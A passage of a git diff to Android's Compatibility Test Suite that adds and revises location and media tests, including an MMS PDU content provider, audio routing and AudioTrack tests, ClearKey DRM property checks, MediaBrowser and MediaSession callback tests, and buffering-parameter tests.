- (int) (locationFromApi.getLatitude() * 1E7),
- (int) (locationFromApi.getLongitude() * 1E7),
- (int) (locationFromApi.getAltitude() * 1E7));
-
- Log.i(TAG, "Location from Location Manager"
- + ", Latitude:" + locationFromApi.getLatitude()
- + ", Longitude:" + locationFromApi.getLongitude()
- + ", Altitude:" + locationFromApi.getAltitude());
-
-
- int totalCalculatedLocationCnt = 0;
- for(GnssMeasurementsEvent event : events){
- // In mMeasurementListener.getEvents() we already filtered out events, at this point every
- // event will have at least 4 satellites in one constellation.
- mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(event);
- double[] calculatedLocation =
- mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
- // it will return NaN when there is no enough measurements to calculate the position
- if (Double.isNaN(calculatedLocation[0])) {
- continue;
- }
- else {
- totalCalculatedLocationCnt ++;
- Log.i(TAG, "Calculated Location"
- + ", Latitude:" + calculatedLocation[0]
- + ", Longitude:" + calculatedLocation[1]
- + ", Altitude:" + calculatedLocation[2]);
-
- assertTrue("Latitude should be close to " + locationFromApi.getLatitude(),
- Math.abs(calculatedLocation[0] - locationFromApi.getLatitude())
- < POSITION_THRESHOLD_IN_DEGREES);
- assertTrue("Longitude should be close to" + locationFromApi.getLongitude(),
- Math.abs(calculatedLocation[1] - locationFromApi.getLongitude())
- < POSITION_THRESHOLD_IN_DEGREES);
- //TODO: Check for the altitude and position uncertainty.
- }
- }
- assertTrue("Calculated Location Count should be greater than 0.",
- totalCalculatedLocationCnt > 0);
- }
}
diff --git a/tests/tests/location/src/android/location/cts/MmsPduProvider.java b/tests/tests/location/src/android/location/cts/MmsPduProvider.java
new file mode 100644
index 0000000..76d859e
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/MmsPduProvider.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.text.TextUtils;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+
+/**
+ * A simple provider to send MMS PDU to platform MMS service
+ */
+public class MmsPduProvider extends ContentProvider {
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ // Not supported
+ return null;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ // Not supported
+ return null;
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ // Not supported
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ // Not supported
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ // Not supported
+ return 0;
+ }
+
+ @Override
+ public ParcelFileDescriptor openFile(Uri uri, String fileMode) throws FileNotFoundException {
+ File file = new File(getContext().getCacheDir(), uri.getPath());
+ int mode = (TextUtils.equals(fileMode, "r") ? ParcelFileDescriptor.MODE_READ_ONLY :
+ ParcelFileDescriptor.MODE_WRITE_ONLY
+ |ParcelFileDescriptor.MODE_TRUNCATE
+ |ParcelFileDescriptor.MODE_CREATE);
+ return ParcelFileDescriptor.open(file, mode);
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/TestLocationManager.java b/tests/tests/location/src/android/location/cts/TestLocationManager.java
index 390d450..370999b 100644
--- a/tests/tests/location/src/android/location/cts/TestLocationManager.java
+++ b/tests/tests/location/src/android/location/cts/TestLocationManager.java
@@ -105,11 +105,11 @@
*
* @param locationListener location listener for request
*/
- public void requestLocationUpdates(LocationListener locationListener) {
+ public void requestLocationUpdates(LocationListener locationListener, int minTimeMsec) {
if (mLocationManager.getProvider(LocationManager.GPS_PROVIDER) != null) {
Log.i(TAG, "Request Location updates.");
mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
- 0 /* minTime*/,
+ minTimeMsec,
0 /* minDistance */,
locationListener,
Looper.getMainLooper());
@@ -117,6 +117,15 @@
}
/**
+ * See {@code LocationManager#requestLocationUpdates}.
+ *
+ * @param locationListener location listener for request
+ */
+ public void requestLocationUpdates(LocationListener locationListener) {
+ requestLocationUpdates(locationListener, 0 /* minTimeMsec */);
+ }
+
+ /**
* See {@code LocationManager#requestNetworkLocationUpdates}.
*
* @param locationListener location listener for request
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index 482cd6a..44af14d 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -30,7 +30,7 @@
<uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER" />
<uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER" />
- <application>
+ <application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
<uses-library android:name="org.apache.http.legacy" android:required="false" />
diff --git a/tests/tests/media/AndroidTest.xml b/tests/tests/media/AndroidTest.xml
index d370d38..03d4770 100644
--- a/tests/tests/media/AndroidTest.xml
+++ b/tests/tests/media/AndroidTest.xml
@@ -26,6 +26,8 @@
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.cts" />
+ <!-- setup can be expensive so limit the number of shards -->
+ <option name="ajur-max-shard" value="5" />
<!-- test-timeout unit is ms, value = 30 min -->
<option name="test-timeout" value="1800000" />
<option name="runtime-hint" value="4h" />
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index cff5c18..d1e63ec 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -64,6 +64,8 @@
0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b
};
+// The test content is not packaged with clearkey UUID,
+// we have to use a canned clearkey pssh for the test.
static const uint8_t kClearkeyPssh[] = {
// BMFF box header (4 bytes size + 'pssh')
0x00, 0x00, 0x00, 0x34, 0x70, 0x73, 0x73, 0x68,
diff --git a/tests/tests/media/res/raw/testmp3_4.mp3 b/tests/tests/media/res/raw/testmp3_4.mp3
new file mode 100755
index 0000000..2098ebd
--- /dev/null
+++ b/tests/tests/media/res/raw/testmp3_4.mp3
Binary files differ
diff --git a/tests/tests/media/res/values/strings.xml b/tests/tests/media/res/values/strings.xml
index b01b8ec..018ab70 100644
--- a/tests/tests/media/res/values/strings.xml
+++ b/tests/tests/media/res/values/strings.xml
@@ -16,4 +16,5 @@
<resources>
<string name="test_user_route_name">User route\'s name for test</string>
<string name="test_route_category_name">Route category\'s name for test</string>
+ <string name="test_localizable_title">Translatable Ringtone Title</string>
</resources>
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index ef14b9c..5185fdb 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -132,6 +132,29 @@
mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
}
+ public void testCheckingZenModeBlockDoesNotRequireNotificationPolicyAccess() throws Exception {
+ try {
+ // set zen mode to priority only, so playSoundEffect will check notification policy
+ Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+ true);
+ setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
+ Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
+
+ // take away write-notification policy access from the package
+ Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+ false);
+
+ // playSoundEffect should NOT throw a security exception; all apps have read-access
+ mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
+ } finally {
+ Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+ true);
+ setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+ Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
+ false);
+ }
+ }
+
public void testMusicActive() throws Exception {
MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
assertNotNull(mp);
diff --git a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
index e5f9385..f3c17cf 100644
--- a/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioPlaybackConfigurationTest.java
@@ -145,11 +145,11 @@
final Method getClientPidMethod = confClass.getDeclaredMethod("getClientPid");
final Method getPlayerTypeMethod = confClass.getDeclaredMethod("getPlayerType");
try {
- Integer uid = (Integer) getClientUidMethod.invoke(config, null);
+ Integer uid = (Integer) getClientUidMethod.invoke(config, (Object[]) null);
assertEquals("uid isn't protected", -1 /*expected*/, uid.intValue());
- Integer pid = (Integer) getClientPidMethod.invoke(config, null);
+ Integer pid = (Integer) getClientPidMethod.invoke(config, (Object[]) null);
assertEquals("pid isn't protected", -1 /*expected*/, pid.intValue());
- Integer type = (Integer) getPlayerTypeMethod.invoke(config, null);
+ Integer type = (Integer) getPlayerTypeMethod.invoke(config, (Object[]) null);
assertEquals("player type isn't protected", -1 /*expected*/, type.intValue());
} catch (Exception e) {
fail("Exception thrown during reflection on config privileged fields"+ e);
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index 068087d..eb7296f 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -319,9 +319,9 @@
try {
final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
final Method getClientPackageName = confClass.getDeclaredMethod("getClientPackageName");
- Integer uid = (Integer) getClientUidMethod.invoke(config, null);
+ Integer uid = (Integer) getClientUidMethod.invoke(config, (Object[]) null);
assertEquals("client uid isn't protected", -1 /*expected*/, uid.intValue());
- String name = (String) getClientPackageName.invoke(config, null);
+ String name = (String) getClientPackageName.invoke(config, (Object[]) null);
assertNotNull("client package name is null", name);
assertEquals("client package name isn't protected", 0 /*expected*/, name.length());
} catch (Exception e) {
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 3d853d4..66999a3 100644
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -2358,6 +2358,33 @@
assertTrue(TEST_NAME + ": buffer frame count", observedBufferSize2 > 0);
}
+ // Test AudioTrack to see if there are any problems with large frame counts.
+ public void testAudioTrackLargeFrameCount() throws Exception {
+ // constants for test
+ final String TEST_NAME = "testAudioTrackLargeFrameCount";
+ final int[] BUFFER_SIZES = { 4294968, 42949680, 429496800, Integer.MAX_VALUE };
+ final int[] MODES = { AudioTrack.MODE_STATIC, AudioTrack.MODE_STREAM };
+
+ for (int mode : MODES) {
+ for (int bufferSizeInBytes : BUFFER_SIZES) {
+ try {
+ final AudioTrack track = new AudioTrack.Builder()
+ .setAudioFormat(new AudioFormat.Builder()
+ .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
+ .setSampleRate(44100)
+ .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+ .build())
+ .setTransferMode(mode)
+ .setBufferSizeInBytes(bufferSizeInBytes) // 1 byte == 1 frame
+ .build();
+ track.release(); // OK to successfully complete
+ } catch (UnsupportedOperationException e) {
+ ; // OK to throw unsupported exception
+ }
+ }
+ }
+ }
+
/* Do not run in JB-MR1. will be re-opened in the next platform release.
public void testResourceLeakage() throws Exception {
final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
index d43dce1..1875a0a 100644
--- a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
@@ -524,4 +524,39 @@
MPEG2TS_CLEAR_URL, false,
VIDEO_WIDTH_MPEG2TS, VIDEO_HEIGHT_MPEG2TS, false);
}
+
+ public void testUnknownPropertyResult() throws Exception {
+ MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC },
+ "cenc", COMMON_PSSH_SCHEME_UUID);
+
+ if (!drm.isCryptoSchemeSupported(COMMON_PSSH_SCHEME_UUID)) {
+ stopDrm(drm);
+ throw new Error("Crypto scheme is not supported.");
+ }
+
+ // getPropertyString on an invalid property should throw
+ // IllegalArgumentException
+ try {
+ drm.getPropertyString("invalid property");
+ } catch (IllegalArgumentException e) {
+ // Expected result
+ } catch (Exception e) {
+ // Unexpected exception
+ stopDrm(drm);
+ throw new Error("getPropertyString unexpected exception", e);
+ }
+
+ // getPropertyByteArray on an invalid property should throw
+ // IllegalArgumentException
+ try {
+ drm.getPropertyByteArray("invalid property");
+ } catch (IllegalArgumentException e) {
+ // Expected result
+ } catch (Exception e) {
+ // Unexpected exception
+ stopDrm(drm);
+ throw new Error("getPropertyByteArray unexpected exception", e);
+ }
+ stopDrm(drm);
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
index fd8c3b1..c401c75 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
@@ -300,6 +300,24 @@
mSubscriptionCallback.mLastOptions.getInt(MediaBrowser.EXTRA_PAGE_SIZE));
}
+ public void testSubscriptionCallbackNotCalledAfterDisconnect() {
+ createMediaBrowser(TEST_BROWSER_SERVICE);
+ connectMediaBrowserService();
+ mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+ mMediaBrowser.disconnect();
+ resetCallbacks();
+ StubMediaBrowserService.sInstance.notifyChildrenChanged(
+ StubMediaBrowserService.MEDIA_ID_ROOT);
+ try {
+ Thread.sleep(SLEEP_MS);
+ } catch (InterruptedException e) {
+ fail("Unexpected InterruptedException occurred.");
+ }
+ assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
+ assertEquals(0, mSubscriptionCallback.mChildrenLoadedWithOptionCount);
+ assertNull(mSubscriptionCallback.mLastParentId);
+ }
+
public void testUnsubscribeForMultipleSubscriptions() {
createMediaBrowser(TEST_BROWSER_SERVICE);
connectMediaBrowserService();
@@ -436,6 +454,21 @@
assertEquals(StubMediaBrowserService.MEDIA_ID_INVALID, mItemCallback.mLastErrorId);
}
+ public void testItemCallbackNotCalledAfterDisconnect() {
+ createMediaBrowser(TEST_BROWSER_SERVICE);
+ connectMediaBrowserService();
+ mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
+ mMediaBrowser.disconnect();
+ resetCallbacks();
+ try {
+ Thread.sleep(SLEEP_MS);
+ } catch (InterruptedException e) {
+ fail("Unexpected InterruptedException occurred.");
+ }
+ assertNull(mItemCallback.mLastMediaItem);
+ assertNull(mItemCallback.mLastErrorId);
+ }
+
private void createMediaBrowser(final ComponentName component) {
getInstrumentation().runOnMainSync(new Runnable() {
@Override
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index 363c350..7dd08c4 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -1846,6 +1846,14 @@
}
public void testChangeTimedTextTrack() throws Throwable {
+ testChangeTimedTextTrackWithSpeed(1.0f);
+ }
+
+ public void testChangeTimedTextTrackFast() throws Throwable {
+ testChangeTimedTextTrackWithSpeed(2.0f);
+ }
+
+ private void testChangeTimedTextTrackWithSpeed(float speed) throws Throwable {
testTimedText(R.raw.testvideo_with_2_timedtext_tracks, 2,
new int[] {R.raw.test_subtitle1_srt, R.raw.test_subtitle2_srt},
new VerifyAndSignalTimedText(),
@@ -1856,6 +1864,10 @@
mOnTimedTextCalled.reset();
mMediaPlayer.start();
+ if (speed != 1.0f) {
+ mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(speed));
+ }
+
assertTrue(mMediaPlayer.isPlaying());
// Waits until at least two subtitles are fired. Timeout is 2.5 sec.
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 137b7cf..401e2d5 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -110,6 +110,76 @@
"_data like ?", new String[] { mFileDir + "%"});
}
+ public void testLocalizeRingtoneTitles() throws Exception {
+ mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
+ mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
+ mMediaScannerConnectionClient);
+
+ assertFalse(mMediaScannerConnection.isConnected());
+
+ // start connection and wait until connected
+ mMediaScannerConnection.connect();
+ checkConnectionState(true);
+
+ // Write unlocalizable audio file and scan to insert into database
+ final String unlocalizablePath = mFileDir + "/unlocalizable.mp3";
+ writeFile(R.raw.testmp3, unlocalizablePath);
+ mMediaScannerConnection.scanFile(unlocalizablePath, null);
+ checkMediaScannerConnection();
+ final Uri media1Uri = mMediaScannerConnectionClient.mediaUri;
+
+ // Ensure unlocalizable titles come back correctly
+ final ContentResolver res = mContext.getContentResolver();
+ final String unlocalizedTitle = "Chimey Phone";
+ Cursor c = res.query(media1Uri, new String[] { "title" }, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(unlocalizedTitle, c.getString(0));
+
+ mMediaScannerConnectionClient.reset();
+
+ // Write localizable audio file and scan to insert into database
+ final String localizablePath = mFileDir + "/localizable.mp3";
+ writeFile(R.raw.testmp3_4, localizablePath);
+ mMediaScannerConnection.scanFile(localizablePath, null);
+ checkMediaScannerConnection();
+ final Uri media2Uri = mMediaScannerConnectionClient.mediaUri;
+
+ // Ensure localized title comes back localized
+ final String localizedTitle = mContext.getString(R.string.test_localizable_title);
+ c = res.query(media2Uri, new String[] { "title" }, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(localizedTitle, c.getString(0));
+
+ // Update localizable audio file to have unlocalizable title
+ final ContentValues values = new ContentValues();
+ final String newTitle = "New Title";
+ values.put("title", newTitle);
+ res.update(media2Uri, values, null, null);
+
+ // Ensure title comes back correctly
+ c = res.query(media2Uri, new String[] { "title" }, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(newTitle, c.getString(0));
+
+ // Update audio file to have localizable title once again
+ final String newLocalizableTitle =
+ "android.resource://android.media.cts/string/test_localizable_title";
+ values.put("title", newLocalizableTitle);
+ res.update(media2Uri, values, null, null);
+
+ // Ensure title comes back localized
+ c = res.query(media2Uri, new String[] { "title" }, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(localizedTitle, c.getString(0));
+
+ mMediaScannerConnection.disconnect();
+ c.close();
+ }
+
public void testMediaScanner() throws InterruptedException, IOException {
mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index cc6f186..58be212 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -15,6 +15,8 @@
*/
package android.media.cts;
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
@@ -33,6 +35,7 @@
import android.os.Handler;
import android.os.Looper;
import android.os.Parcel;
+import android.support.test.filters.LargeTest;
import android.test.AndroidTestCase;
import android.view.KeyEvent;
@@ -417,6 +420,27 @@
}
}
+ /**
+ * Tests {@link MediaSession#setCallback} with {@code null}. No callbacks will be called
+ * once {@code setCallback(null)} is done.
+ */
+ public void testSetCallbackWithNull() throws Exception {
+ MediaSessionCallback sessionCallback = new MediaSessionCallback();
+ mSession.setCallback(sessionCallback, mHandler);
+ mSession.setFlags(MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+ mSession.setActive(true);
+
+ MediaController controller = mSession.getController();
+ setPlaybackState(PlaybackState.STATE_PLAYING);
+
+ sessionCallback.reset(1);
+ mSession.setCallback(null, mHandler);
+
+ controller.getTransportControls().pause();
+ assertFalse(sessionCallback.await(WAIT_MS));
+ assertFalse("Callback shouldn't be called.", sessionCallback.mOnPauseCalled);
+ }
+
private void setPlaybackState(int state) {
final long allActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
| PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
index 45b2b8b..d29cfed 100644
--- a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -157,6 +157,7 @@
try {
testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
"unknown-property", value);
+ fail("Should have thrown an exception");
} catch (RuntimeException e) {
Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
assertThat(e.getMessage(), containsString("get property string returns"));
diff --git a/tests/tests/media/src/android/media/cts/ParamsTest.java b/tests/tests/media/src/android/media/cts/ParamsTest.java
index 6cf9be6..fab616a 100644
--- a/tests/tests/media/src/android/media/cts/ParamsTest.java
+++ b/tests/tests/media/src/android/media/cts/ParamsTest.java
@@ -373,59 +373,18 @@
}
public void testBufferingParamsBuilderAndGet() {
- final int initialMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
final int initialMarkMs = 2;
- final int initialMarkKB = 20;
- final int rebufferingMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
- final int rebufferingMarkLowMs = 1;
- final int rebufferingMarkHighMs = 3;
- final int rebufferingMarkLowKB = 10;
- final int rebufferingMarkHighKB = 30;
+ final int resumePlaybackMarkMs = 3;
BufferingParams p1 = new BufferingParams.Builder()
- .setInitialBufferingMode(initialMode)
- .setInitialBufferingWatermarkMs(initialMarkMs)
- .setInitialBufferingWatermarkKB(initialMarkKB)
- .setRebufferingMode(rebufferingMode)
- .setRebufferingWatermarkLowMs(rebufferingMarkLowMs)
- .setRebufferingWatermarkHighMs(rebufferingMarkHighMs)
- .setRebufferingWatermarkLowKB(rebufferingMarkLowKB)
- .setRebufferingWatermarkHighKB(rebufferingMarkHighKB)
+ .setInitialMarkMs(initialMarkMs)
+ .setResumePlaybackMarkMs(resumePlaybackMarkMs)
.build();
- assertEquals("initial buffering mode should match",
- p1.getInitialBufferingMode(), initialMode);
- assertEquals("rebuffering mode should match",
- p1.getRebufferingMode(), rebufferingMode);
assertEquals("intial markMs should match",
- p1.getInitialBufferingWatermarkMs(), initialMarkMs);
- assertEquals("intial markKB should match",
- p1.getInitialBufferingWatermarkKB(), initialMarkKB);
- assertEquals("rebuffering low markMs should match",
- p1.getRebufferingWatermarkLowMs(), rebufferingMarkLowMs);
- assertEquals("rebuffering low markKB should match",
- p1.getRebufferingWatermarkLowKB(), rebufferingMarkLowKB);
- assertEquals("rebuffering high markMs should match",
- p1.getRebufferingWatermarkHighMs(), rebufferingMarkHighMs);
- assertEquals("rebuffering high markKB should match",
- p1.getRebufferingWatermarkHighKB(), rebufferingMarkHighKB);
-
- final int rebufferingMarkLowMsPair = 4;
- final int rebufferingMarkHighMsPair = 5;
- final int rebufferingMarkLowKBPair = 40;
- final int rebufferingMarkHighKBPair = 50;
- BufferingParams p2 = new BufferingParams.Builder(p1)
- .setRebufferingWatermarksMs(rebufferingMarkLowMsPair, rebufferingMarkHighMsPair)
- .setRebufferingWatermarksKB(rebufferingMarkLowKBPair, rebufferingMarkHighKBPair)
- .build();
- assertEquals("paired low markMs should match",
- p2.getRebufferingWatermarkLowMs(), rebufferingMarkLowMsPair);
- assertEquals("paired low markKB should match",
- p2.getRebufferingWatermarkLowKB(), rebufferingMarkLowKBPair);
- assertEquals("paired high markMs should match",
- p2.getRebufferingWatermarkHighMs(), rebufferingMarkHighMsPair);
- assertEquals("paired high markKB should match",
- p2.getRebufferingWatermarkHighKB(), rebufferingMarkHighKBPair);
+ p1.getInitialMarkMs(), initialMarkMs);
+ assertEquals("resume playback markMs should match",
+ p1.getResumePlaybackMarkMs(), resumePlaybackMarkMs);
}
public void testBufferingParamsDescribeContents() {
@@ -434,24 +393,12 @@
}
public void testBufferingParamsWriteToParcel() {
- final int initialMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
final int initialMarkMs = 2;
- final int initialMarkKB = 20;
- final int rebufferingMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
- final int rebufferingMarkLowMs = 1;
- final int rebufferingMarkHighMs = 3;
- final int rebufferingMarkLowKB = 10;
- final int rebufferingMarkHighKB = 30;
+ final int resumePlaybackMarkMs = 3;
BufferingParams p = new BufferingParams.Builder()
- .setInitialBufferingMode(initialMode)
- .setInitialBufferingWatermarkMs(initialMarkMs)
- .setInitialBufferingWatermarkKB(initialMarkKB)
- .setRebufferingMode(rebufferingMode)
- .setRebufferingWatermarkLowMs(rebufferingMarkLowMs)
- .setRebufferingWatermarkHighMs(rebufferingMarkHighMs)
- .setRebufferingWatermarkLowKB(rebufferingMarkLowKB)
- .setRebufferingWatermarkHighKB(rebufferingMarkHighKB)
+ .setInitialMarkMs(initialMarkMs)
+ .setResumePlaybackMarkMs(resumePlaybackMarkMs)
.build();
Parcel parcel = Parcel.obtain();
@@ -459,22 +406,10 @@
parcel.setDataPosition(0);
BufferingParams q = BufferingParams.CREATOR.createFromParcel(parcel);
- assertEquals("initial buffering mode should match",
- p.getInitialBufferingMode(), q.getInitialBufferingMode());
- assertEquals("rebuffering mode should match",
- p.getRebufferingMode(), q.getRebufferingMode());
- assertEquals("initial buffering markMs should match",
- p.getInitialBufferingWatermarkMs(), q.getInitialBufferingWatermarkMs());
- assertEquals("initial buffering markKB should match",
- p.getInitialBufferingWatermarkKB(), q.getInitialBufferingWatermarkKB());
- assertEquals("rebuffering low markMs should match",
- p.getRebufferingWatermarkLowMs(), q.getRebufferingWatermarkLowMs());
- assertEquals("rebuffering low markKB should match",
- p.getRebufferingWatermarkLowKB(), q.getRebufferingWatermarkLowKB());
- assertEquals("rebuffering high markMs should match",
- p.getRebufferingWatermarkHighMs(), q.getRebufferingWatermarkHighMs());
- assertEquals("rebuffering high markKB should match",
- p.getRebufferingWatermarkHighKB(), q.getRebufferingWatermarkHighKB());
+ assertEquals("initial markMs should match",
+ p.getInitialMarkMs(), q.getInitialMarkMs());
+ assertEquals("resume playback markMs should match",
+ p.getResumePlaybackMarkMs(), q.getResumePlaybackMarkMs());
parcel.recycle();
}
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 7614568..ddb534a 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -19,25 +19,39 @@
import android.content.Context;
import android.content.pm.PackageManager;
+import android.media.AudioAttributes;
import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
import android.media.AudioManager;
import android.media.AudioRecord;
import android.media.AudioRouting;
import android.media.AudioTrack;
+import android.media.MediaPlayer;
+import android.media.MediaFormat;
import android.media.MediaRecorder;
+import android.os.Environment;
import android.os.Handler;
import android.os.Looper;
+import android.os.SystemClock;
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
import java.lang.Runnable;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
/**
- * AudioTrack / AudioRecord preferred device and routing listener tests.
+ * AudioTrack / AudioRecord / MediaPlayer / MediaRecorder preferred device
+ * and routing listener tests.
* The routing tests are mostly here to exercise the routing code, as an actual test would require
* adding / removing an audio device for the listeners to be called.
* The routing listener code is designed to run for two versions of the routing code:
@@ -46,8 +60,18 @@
*/
public class RoutingTest extends AndroidTestCase {
private static final String TAG = "RoutingTest";
+ private static final int MAX_WAITING_ROUTING_CHANGED_COUNT = 3;
+ private static final long WAIT_ROUTING_CHANGE_TIME_MS = 1000;
+ private static final int AUDIO_BIT_RATE_IN_BPS = 12200;
+ private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
+ private static final long MAX_FILE_SIZE_BYTE = 5000;
+ private static final int RECORD_TIME_MS = 3000;
+ private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
